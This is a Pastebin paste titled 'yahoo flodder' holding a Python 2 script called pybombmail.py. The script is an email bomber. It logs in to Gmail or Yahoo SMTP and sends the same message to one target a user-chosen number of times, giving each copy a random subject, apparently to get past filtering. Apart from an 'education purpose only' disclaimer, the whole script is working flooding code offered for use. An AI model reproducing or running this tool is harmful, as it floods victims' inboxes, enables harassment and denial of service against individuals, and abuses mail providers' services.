flazer

yahoo flodder

May 16th, 2012
242
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. #!/usr/bin/python
  2. #pybombmail.py by aBi71
  3. #This code for education purpose only.
  4. #Use it at your own risk !!!
  5.  
  6. import os
  7. import smtplib
  8. import getpass
  9. import sys
  10.  
  11.  
  12. server = raw_input ('Server Mail: ')
  13. user = raw_input('Username: ')
  14. passwd = getpass.getpass('Password: ')
  15.  
  16.  
  17. to = raw_input('\nTo: ')
  18. #subject = raw_input('Subject: ')
  19. body = raw_input('Message: ')
  20. total = input('Number of send: ')
  21.  
  22. if server == 'gmail':
  23. smtp_server = 'smtp.gmail.com'
  24. port = 587
  25. elif server == 'yahoo':
  26. smtp_server = 'smtp.mail.yahoo.com'
  27. port = 25
  28. else:
  29. print 'Applies only to gmail and yahoo.'
  30. sys.exit()
  31.  
  32. print ''
  33.  
  34. try:
  35. server = smtplib.SMTP(smtp_server,port)
  36. server.ehlo()
  37. if smtp_server == "smtp.gmail.com":
  38. server.starttls()
  39. server.login(user,passwd)
  40. for i in range(1, total+1):
  41. subject = os.urandom(9)
  42. msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  43. server.sendmail(user,to,msg)
  44. print "\rTotal emails sent: %i" % i
  45. sys.stdout.flush()
  46. server.quit()
  47. print '\n Done !!!'
  48. except KeyboardInterrupt:
  49. print '[-] Canceled'
  50. sys.exit()
  51. except smtplib.SMTPAuthenticationError:
  52. print '\n[!] The username or password you entered is incorrect.'
  53. sys.exit()
Add Comment
Please, Sign In to add comment